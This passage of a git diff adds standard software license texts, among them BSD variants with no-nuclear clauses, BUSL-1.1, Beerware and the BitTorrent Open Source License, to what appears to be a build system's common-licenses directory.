+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+YOU ACKNOWLEDGE THAT THIS SOFTWARE IS NOT DESIGNED, LICENSED OR INTENDED FOR USE IN THE DESIGN, CONSTRUCTION, OPERATION OR MAINTENANCE OF ANY MILITARY FACILITY.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License
new file mode 100644
index 0000000000..b37aa3058a
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License
@@ -0,0 +1,14 @@
+
+Copyright 1994-2009 Sun Microsystems, Inc. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of Sun Microsystems, Inc. or the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+This software is provided "AS IS," without a warranty of any kind. ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN MICROSYSTEMS, INC. ("SUN") AND ITS LICENSORS SHALL NOT BE LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT, INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+You acknowledge that this software is not designed, licensed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014 b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014
new file mode 100644
index 0000000000..315c6d64c7
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014
@@ -0,0 +1,16 @@
+
+Copyright © 2008, 2014 Oracle and/or its affiliates. All rights reserved.
+
+Use is subject to license terms.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of Oracle Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+You acknowledge that this software is not designed, licensed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty
new file mode 100644
index 0000000000..17457e6769
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty
@@ -0,0 +1,14 @@
+
+Copyright (c) 2003-2005 Sun Microsystems, Inc. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ - Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ - Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ - Neither the name of Sun Microsystems, Inc. or the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+This software is provided "AS IS," without a warranty of any kind. ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN MICROSYSTEMS, INC. ("SUN") AND ITS LICENSORS SHALL NOT BE LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT, INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+You acknowledge that this software is not designed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Open-MPI b/meta/files/common-licenses/BSD-3-Clause-Open-MPI
new file mode 100644
index 0000000000..166a95b130
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Open-MPI
@@ -0,0 +1,34 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+- Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer listed
+ in this license in the documentation and/or other materials
+ provided with the distribution.
+
+- Neither the name of the copyright holders nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+The copyright holders provide no reassurances that the source code
+provided does not infringe any patent, copyright, or any other
+intellectual property rights of third parties. The copyright holders
+disclaim any liability to any recipient for claims brought against
+recipient by any third party for infringement of that parties
+intellectual property rights.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-4-Clause-Shortened b/meta/files/common-licenses/BSD-4-Clause-Shortened
new file mode 100644
index 0000000000..6812783d5f
--- /dev/null
+++ b/meta/files/common-licenses/BSD-4-Clause-Shortened
@@ -0,0 +1,13 @@
+License: BSD-4-Clause-Shortened
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that:
+
+(1) source code distributions retain the above copyright notice and this paragraph in its entirety,
+(2) distributions including binary code include the above copyright notice and this paragraph in its entirety in the documentation or other materials provided with the distribution, and
+(3) all advertising materials mentioning features or use of this software display the following acknowledgement:
+
+"This product includes software developed by the University of California, Lawrence Berkeley Laboratory and its contributors.''
+
+Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
diff --git a/meta/files/common-licenses/BSD-4-Clause-UC b/meta/files/common-licenses/BSD-4-Clause-UC
new file mode 100644
index 0000000000..69edbe3242
--- /dev/null
+++ b/meta/files/common-licenses/BSD-4-Clause-UC
@@ -0,0 +1,15 @@
+BSD-4-Clause (University of California-Specific)
+
+Copyright [various years] The Regents of the University of California. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. All advertising materials mentioning features or use of this software must display the following acknowledgement: This product includes software developed by the University of California, Berkeley and its contributors.
+
+4. Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-Protection b/meta/files/common-licenses/BSD-Protection
new file mode 100644
index 0000000000..73820813ff
--- /dev/null
+++ b/meta/files/common-licenses/BSD-Protection
@@ -0,0 +1,53 @@
+BSD Protection License
+February 2002
+
+Preamble
+--------
+
+The Berkeley Software Distribution ("BSD") license has proven very effective over the years at allowing for a wide spread of work throughout both commercial and non-commercial products. For programmers whose primary intention is to improve the general quality of available software, it is arguable that there is no better license than the BSD license, as it permits improvements to be used wherever they will help, without idealogical or metallic constraint.
+
+This is of particular value to those who produce reference implementations of proposed standards: The case of TCP/IP clearly illustrates that freely and universally available implementations leads the rapid acceptance of standards -- often even being used instead of a de jure standard (eg, OSI network models).
+
+With the rapid proliferation of software licensed under the GNU General Public License, however, the continued success of this role is called into question. Given that the inclusion of a few lines of "GPL-tainted" work into a larger body of work will result in restricted distribution -- and given that further work will likely build upon the "tainted" portions, making them difficult to remove at a future date -- there are inevitable circumstances where authors would, in order to protect their goal of providing for the widespread usage of their work, wish to guard against such "GPL-taint".
+
+In addition, one can imagine that companies which operate by producing and selling (possibly closed-source) code would wish to protect themselves against the rise of a GPL-licensed competitor. While under existing licenses this would mean not releasing their code under any form of open license, if a license existed under which they could incorporate any improvements back into their own (commercial) products then they might be far more willing to provide for non-closed distribution.
+
+For the above reasons, we put forth this "BSD Protection License": A license designed to retain the freedom granted by the BSD license to use licensed works in a wide variety of settings, both non-commercial and commercial, while protecting the work from having future contributors restrict that freedom.
+
+The precise terms and conditions for copying, distribution, and modification follow.
+
+BSD PROTECTION LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
+----------------------------------------------------------------
+
+0. Definitions.
+
+ a) "Program", below, refers to any program or work distributed under the terms of this license.
+ b) A "work based on the Program", below, refers to either the Program or any derivative work under copyright law.
+ c) "Modification", below, refers to the act of creating derivative works.
+ d) "You", below, refers to each licensee.
+
+1. Scope.
+This license governs the copying, distribution, and modification of the Program. Other activities are outside the scope of this license; The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program.
+
+2. Verbatim copies.
+You may copy and distribute verbatim copies of the Program as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+3. Modification and redistribution under closed license.
+You may modify your copy or copies of the Program, and distribute the resulting derivative works, provided that you meet the following conditions:
+
+ a) The copyright notice and disclaimer on the Program must be reproduced and included in the source code, documentation, and/or other materials provided in a manner in which such notices are normally distributed.
+ b) The derivative work must be clearly identified as such, in order that it may not be confused with the original work.
+ c) The license under which the derivative work is distributed must expressly prohibit the distribution of further derivative works.
+
+4. Modification and redistribution under open license.
+You may modify your copy or copies of the Program, and distribute the resulting derivative works, provided that you meet the following conditions:
+
+ a) The copyright notice and disclaimer on the Program must be reproduced and included in the source code, documentation, and/or other materials provided in a manner in which such notices are normally distributed.
+ b) You must clearly indicate the nature and date of any changes made to the Program. The full details need not necessarily be included in the individual modified files, provided that each modified file is clearly marked as such and instructions are included on where the full details of the modifications may be found.
+ c) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+
+5. Implied acceptance.
+You may not copy or distribute the Program or any derivative works except as expressly provided under this license. Consequently, any such action will be taken as implied acceptance of the terms of this license.
+
+6. NO WARRANTY.
+THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/BSD-Source-Code b/meta/files/common-licenses/BSD-Source-Code
new file mode 100644
index 0000000000..c41fc42733
--- /dev/null
+++ b/meta/files/common-licenses/BSD-Source-Code
@@ -0,0 +1,10 @@
+Copyright (c) 2011, Deusty, LLC
+All rights reserved.
+
+Redistribution and use of this software in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Neither the name of Deusty nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission of Deusty, LLC.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BUSL-1.1 b/meta/files/common-licenses/BUSL-1.1
new file mode 100644
index 0000000000..86d5e5b56d
--- /dev/null
+++ b/meta/files/common-licenses/BUSL-1.1
@@ -0,0 +1,72 @@
+Business Source License 1.1
+
+License text copyright © 2017 MariaDB Corporation Ab, All Rights Reserved.
+"Business Source License" is a trademark of MariaDB Corporation Ab.
+
+Terms
+
+The Licensor hereby grants you the right to copy, modify, create derivative
+works, redistribute, and make non-production use of the Licensed Work. The
+Licensor may make an Additional Use Grant, above, permitting limited
+production use.
+
+Effective on the Change Date, or the fourth anniversary of the first publicly
+available distribution of a specific version of the Licensed Work under this
+License, whichever comes first, the Licensor hereby grants you rights under
+the terms of the Change License, and the rights granted in the paragraph
+above terminate.
+
+If your use of the Licensed Work does not comply with the requirements
+currently in effect as described in this License, you must purchase a
+commercial license from the Licensor, its affiliated entities, or authorized
+resellers, or you must refrain from using the Licensed Work.
+
+All copies of the original and modified Licensed Work, and derivative works
+of the Licensed Work, are subject to this License. This License applies
+separately for each version of the Licensed Work and the Change Date may vary
+for each version of the Licensed Work released by Licensor.
+
+You must conspicuously display this License on each original or modified copy
+of the Licensed Work. If you receive the Licensed Work in original or
+modified form from a third party, the terms and conditions set forth in this
+License apply to your use of that work.
+
+Any use of the Licensed Work in violation of this License will automatically
+terminate your rights under this License for the current and all other
+versions of the Licensed Work.
+
+This License does not grant you any right in any trademark or logo of
+Licensor or its affiliates (provided that you may use a trademark or logo of
+Licensor as expressly required by this License).
+
+TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON
+AN “AS IS” BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS,
+EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND
+TITLE.
+
+MariaDB hereby grants you permission to use this License’s text to license
+your works, and to refer to it using the trademark “Business Source License”,
+as long as you comply with the Covenants of Licensor below.
+
+Covenants of Licensor
+
+In consideration of the right to use this License’s text and the “Business
+Source License” name and trademark, Licensor covenants to MariaDB, and to all
+other recipients of the licensed work to be provided by Licensor:
+
+1. To specify as the Change License the GPL Version 2.0 or any later version,
+ or a license that is compatible with GPL Version 2.0 or a later version,
+ where “compatible” means that software provided under the Change License can
+ be included in a program with software provided under GPL Version 2.0 or a
+ later version. Licensor may specify additional Change Licenses without
+ limitation.
+
+2. To either: (a) specify an additional grant of rights to use that does not
+ impose any additional restriction on the right granted in this License, as
+ the Additional Use Grant; or (b) insert the text “None”.
+
+3. To specify a Change Date.
+
+4. Not to modify this License in any other way.
+
diff --git a/meta/files/common-licenses/Bahyph b/meta/files/common-licenses/Bahyph
new file mode 100644
index 0000000000..a42e875ac3
--- /dev/null
+++ b/meta/files/common-licenses/Bahyph
@@ -0,0 +1,11 @@
+COPYRIGHT NOTICE
+
+These patterns and the generating sh script are Copyright (c) GMV 1991
+
+These patterns were developed for internal GMV use and are made public in the hope that they will benefit others. Also, spreading these patterns throughout the Spanish-language TeX community is expected to provide back-benefits to GMV in that it can help keeping GMV in the mainstream of spanish users.
+
+However, this is given for free and WITHOUT ANY WARRANTY. Under no circumstances can Julio Sanchez, GMV, Jos'e A. Ma~nas or any agents or representatives thereof be held responsible for any errors in this software nor for any damages derived from its use, even in case any of the above has been notified of the possibility of such damages. If any such situation arises, you responsible for repair. Use of this software is an explicit acceptance of these conditions.
+
+You can use this software for any purpose. You cannot delete this copyright notice. If you change this software, you must include comments explaining who, when and why. You are kindly requested to send any changes to tex@gmv.es. If you change the generating script, you must include code in it such that any output is clearly labeled as generated by a modified script. Despite the lack of warranty, we would like to hear about any problem you find. Please report problems to tex@gmv.es.
+
+END OF COPYRIGHT NOTICE
diff --git a/meta/files/common-licenses/Barr b/meta/files/common-licenses/Barr
new file mode 100644
index 0000000000..07f32df0ed
--- /dev/null
+++ b/meta/files/common-licenses/Barr
@@ -0,0 +1 @@
+This is a package of commutative diagram macros built on top of Xy-pic by Michael Barr (email: barr@barrs.org). Its use is unrestricted. It may be freely distributed, unchanged, for non-commercial or commercial use. If changed, it must be renamed. Inclusion in a commercial software package is also permitted, but I would appreciate receiving a free copy for my personal examination and use. There are no guarantees that this package is good for anything. I have tested it with LaTeX 2e, LaTeX 2.09 and Plain TeX. Although I know of no reason it will not work with AMSTeX, I have not tested it.
diff --git a/meta/files/common-licenses/Beerware b/meta/files/common-licenses/Beerware
new file mode 100644
index 0000000000..c7ffc1a04e
--- /dev/null
+++ b/meta/files/common-licenses/Beerware
@@ -0,0 +1 @@
+"THE BEER-WARE LICENSE" (Revision 42): <phk@FreeBSD.ORG> wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
diff --git a/meta/files/common-licenses/BitTorrent-1.0 b/meta/files/common-licenses/BitTorrent-1.0
new file mode 100644
index 0000000000..16e3b9a647
--- /dev/null
+++ b/meta/files/common-licenses/BitTorrent-1.0
@@ -0,0 +1,330 @@
+BitTorrent Open Source License
+
+Version 1.0
+
+This BitTorrent Open Source License (the "License") applies to the BitTorrent client and related software products as
+well as any updates or maintenance releases of that software ("BitTorrent Products") that are distributed by
+BitTorrent, Inc. ("Licensor"). Any BitTorrent Product licensed pursuant to this License is a Licensed Product.
+Licensed Product, in its entirety, is protected by U.S. copyright law. This License identifies the terms under which
+you may use, copy, distribute or modify Licensed Product.
+
+Preamble
+
+This Preamble is intended to describe, in plain English, the nature and scope of this License. However, this
+Preamble is not a part of this license. The legal effect of this License is dependent only upon the terms of the
+License and not this Preamble.
+
+This License complies with the Open Source Definition and is derived from the Jabber Open Source License 1.0 (the
+"JOSL"), which has been approved by Open Source Initiative. Sections 4(c) and 4(f)(iii) from the JOSL have been
+dropped.
+
+This License provides that:
+
+1. You may use, sell or give away the Licensed Product, alone or as a component of an aggregate software
+distribution containing programs from several different sources. No royalty or other fee is required.
+
+2. Both Source Code and executable versions of the Licensed Product, including Modifications made by previous
+Contributors, are available for your use. (The terms "Licensed Product," "Modifications," "Contributors" and "Source
+Code" are defined in the License.)
+
+3. You are allowed to make Modifications to the Licensed Product, and you can create Derivative Works from it.
+(The term "Derivative Works" is defined in the License.)
+
+4. By accepting the Licensed Product under the provisions of this License, you agree that any Modifications you
+make to the Licensed Product and then distribute are governed by the provisions of this License. In particular, you
+must make the Source Code of your Modifications available to others.
+
+5. You may use the Licensed Product for any purpose, but the Licensor is not providing you any warranty
+whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Product doesn't work properly
+or causes you any injury or damages.
+
+6. If you sublicense the Licensed Product or Derivative Works, you may charge fees for warranty or support, or
+for accepting indemnity or liability obligations to your customers. You cannot charge for the Source Code.
+
+7. If you assert any patent claims against the Licensor relating to the Licensed Product, or if you breach any
+terms of the License, your rights to the Licensed Product under this License automatically terminate.
+
+You may use this License to distribute your own Derivative Works, in which case the provisions of this License will
+apply to your Derivative Works just as they do to the original Licensed Product.
+
+Alternatively, you may distribute your Derivative Works under any other OSI-approved Open Source license, or under a
+proprietary license of your choice. If you use any license other than this License, however, you must continue to
+fulfill the requirements of this License (including the provisions relating to publishing the Source Code) for those
+portions of your Derivative Works that consist of the Licensed Product, including the files containing Modifications.
+
+New versions of this License may be published from time to time. You may choose to continue to use the license
+terms in this version of the License or those from the new version. However, only the Licensor has the right to
+change the License terms as they apply to the Licensed Product.
+
+This License relies on precise definitions for certain terms. Those terms are defined when they are first used, and
+the definitions are repeated for your convenience in a Glossary at the end of the License.
+
+
+License Terms
+
+1. Grant of License From Licensor. Licensor hereby grants you a world-wide, royalty-free, non-exclusive
+license, subject to third party intellectual property claims, to do the following:
+
+a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such
+Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as
+part of Derivative Works.
+
+b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for
+sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any
+such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of
+Modifications or portions thereof or Derivative Works thereof.
+
+
+2. Grant of License to Modifications From Contributor. "Modifications" means any additions to or deletions from the
+substance or structure of (i) a file containing Licensed Product, or (ii) any new file that contains any part of
+Licensed Product. Hereinafter in this License, the term "Licensed Product" shall include all previous Modifications
+that you receive from any Contributor. By application of the provisions in Section 4(a) below, each person or entity
+who created or contributed to the creation of, and distributed, a Modification (a "Contributor") hereby grants you a
+world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the
+following:
+
+ 1. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such
+Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as
+part of Derivative Works.
+
+ 2. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for
+sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any
+such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of
+Modifications or portions thereof or Derivative Works thereof.
+
+
+3. Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks,
+copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as
+expressly stated herein. No patent license is granted separate from the Licensed Product, for code that you delete
+from the Licensed Product, or for combinations of the Licensed Product with other software or hardware. No right is
+granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Product.
+Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this
+License any code that Licensor otherwise would have a right to license.
+
+
+4. Your Obligations Regarding Distribution.
+
+a. Application of This License to Your Modifications. As an express condition for your use of the Licensed
+Product, you hereby agree that any Modifications that you create or to which you contribute, and which you
+distribute, are governed by the terms of this License including, without limitation, Section 2. Any Modifications
+that you create or to which you contribute may be distributed only under the terms of this License or a future
+version of this License released under Section 7. You must include a copy of this License with every copy of the
+Modifications you distribute. You agree not to offer or impose any terms on any Source Code or executable version of
+the Licensed Product or Modifications that alter or restrict the applicable version of this License or the
+recipients' rights hereunder. However, you may include an additional document offering the additional rights
+described in Section 4(d).
+
+b. Availability of Source Code. You must make available, under the terms of this License, the Source Code of
+the Licensed Product and any Modifications that you distribute, either on the same media as you distribute any
+executable or other form of the Licensed Product, or via a mechanism generally accepted in the software development
+community for the electronic transfer of data (an "Electronic Distribution Mechanism"). The Source Code for any
+version of Licensed Product or Modifications that you distribute must remain available for at least twelve (12)
+months after the date it initially became available, or at least six (6) months after a subsequent version of said
+Licensed Product or Modifications has been made available. You are responsible for ensuring that the Source Code
+version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+c. Intellectual Property Matters.
+
+ i. Third Party Claims. If you have knowledge that a license to a third
+party's intellectual property right is required to exercise the rights granted by this License, you must include a
+text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in
+sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after you make any
+Modifications available as described in Section 4(b), you shall promptly modify the LEGAL file in all copies you make
+available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups)
+reasonably calculated to inform those who received the Licensed Product from you that new knowledge has been
+obtained.
+
+ ii. Contributor APIs. If your Modifications include an application
+programming interface ("API") and you have knowledge of patent licenses that are reasonably necessary to implement
+that API, you must also include this information in the LEGAL file.
+
+ iii. Representations. You represent that, except as disclosed pursuant to
+4(c)(i) above, you believe that any Modifications you distribute are your original creations and that you have
+sufficient rights to grant the rights conveyed by this License.
+
+d. Required Notices. You must duplicate this License in any documentation you provide along with the Source
